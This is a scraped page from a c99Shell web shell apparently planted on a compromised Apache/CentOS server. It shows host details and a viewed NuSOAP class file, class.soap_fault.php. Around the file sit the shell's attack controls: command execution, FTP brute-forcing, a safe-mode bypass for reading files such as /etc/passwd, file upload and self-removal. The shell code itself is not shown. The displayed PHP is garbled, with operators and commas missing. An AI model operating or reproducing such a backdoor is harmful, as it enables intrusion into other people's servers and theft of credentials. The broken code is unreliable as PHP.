!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess_OLD/lib/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.soap_fault.php (2.16 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php




/**
* Contains information for a SOAP fault.
* Mainly used for returning faults from deployed functions
* in a server instance.
* @author   Dietrich Ayala <dietrich@ganx4.com>
* @version  $Id: class.soap_fault.php,v 1.12 2005/07/27 19:24:42 snichol Exp $
* @access public
*/
class soap_fault extends nusoap_base {
    
/**
     * The fault code (client|server)
     * @var string
     * @access private
     */
    
var $faultcode;
    
/**
     * The fault actor
     * @var string
     * @access private
     */
    
var $faultactor;
    
/**
     * The fault string, a description of the fault
     * @var string
     * @access private
     */
    
var $faultstring;
    
/**
     * The fault detail, typically a string or array of string
     * @var mixed
     * @access private
     */
    
var $faultdetail;

    
/**
    * constructor
    *
    * @param string $faultcode (client | server)
    * @param string $faultactor only used when msg routed between multiple actors
    * @param string $faultstring human readable error message
    * @param mixed $faultdetail detail, typically a string or array of string
    */
    
function soap_fault($faultcode,$faultactor='',$faultstring='',$faultdetail=''){
        
parent::nusoap_base();
        
$this->faultcode $faultcode;
        
$this->faultactor $faultactor;
        
$this->faultstring $faultstring;
        
$this->faultdetail $faultdetail;
    }

    
/**
    * serialize a fault
    *
    * @return    string    The serialization of the fault instance.
    * @access   public
    */
    
function serialize(){
        
$ns_string '';
        foreach(
$this->namespaces as $k => $v){
            
$ns_string .= "\n  xmlns:$k=\"$v\"";
        }
        
$return_msg =
            
'<?xml version="1.0" encoding="'.$this->soap_defencoding.'"?>'.
            
'<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"'.$ns_string.">\n".
                
'<SOAP-ENV:Body>'.
                
'<SOAP-ENV:Fault>'.
                    
$this->serialize_val($this->faultcode'faultcode').
                    
$this->serialize_val($this->faultactor'faultactor').
                    
$this->serialize_val($this->faultstring'faultstring').
                    
$this->serialize_val($this->faultdetail'detail').
                
'</SOAP-ENV:Fault>'.
                
'</SOAP-ENV:Body>'.
            
'</SOAP-ENV:Envelope>';
        return 
$return_msg;
    }
}




?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--